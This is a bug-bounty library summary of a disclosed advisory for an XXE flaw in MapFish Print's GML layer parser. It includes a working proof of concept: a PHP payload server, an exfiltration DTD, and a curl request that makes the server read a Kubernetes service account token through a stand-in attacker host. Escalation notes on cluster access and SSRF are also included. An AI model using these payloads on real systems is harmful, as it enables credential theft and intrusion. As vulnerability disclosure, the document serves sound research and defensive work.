# MapFish Print has XXE that allows reading arbitrary files of certain types

MapFish Print's GML layer URL accepts attacker XML, enabling XXE to read local files like Kubernetes service account tokens and perform blind SSRF.

- Payout: Research
- Severity: high
- Program: MapFish Print
- Found by: zneek
- Disclosed: 2026-08-28
- CVE: CVE-2026-55848
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5v29-34h8-v68r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5v29-34h8-v68r
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:java technique:oob-exfil vuln:info-disclosure vuln:ssrf vuln:xxe

**Target:** Print servlet buildreport endpoint / GML layer URL parser
**Root cause:** The GML layer URL is fetched and parsed as XML without disabling external entity resolution, so attacker-controlled DOCTYPE entities are expanded.
**Steps:**
1. Host `xxe.php` returning XML with `<!ENTITY % payload SYSTEM "file://$p">` and `<!ENTITY % dtd SYSTEM "$u">` plus `%dtd;`
2. Host `evil.dtd` with `<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>">` then `%exfil;` `%error;`
3. POST to `/api/print3/print/mapviewer/buildreport.pdf` with JSON body setting `layers[0].type=gml` and `url=https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token`
4. Read exfiltrated file content from the 404 error path in the response
**How found:** Reporter noticed the GML layer URL is fetched and parsed as XML, then tested DOCTYPE entity expansion and observed file content reflected in the 404 path.
**Exploitation:** Attacker hosts a PHP endpoint and DTD, then submits a print request whose GML layer URL points at the PHP script with the target file path. The server parses the returned XML, expands the external entity, and the resulting file content is reflected in a 404 error path, leaking the file. Changing `file://` to `https://` in the DTD yields blind SSRF.
**Escalation:** Reading Kubernetes service account tokens or certs enables further cluster access; trailing-slash paths list directory contents.
**Insight:** Print/report generators that accept a layer URL and parse it as XML (WFS/GML) are prime XXE sinks; error messages echoing the unresolved entity path turn blind XXE into full file read.

## Proof of concept (copied exactly from the original report)

**PHP XXE payload serving malicious XML**

```
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
```

**evil.dtd exfiltration entity**

```
<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>">
%exfil;
%error;
```

**curl request triggering XXE via gml layer**

```
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \
  -H 'Content-Type: application/json' \
  -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
```

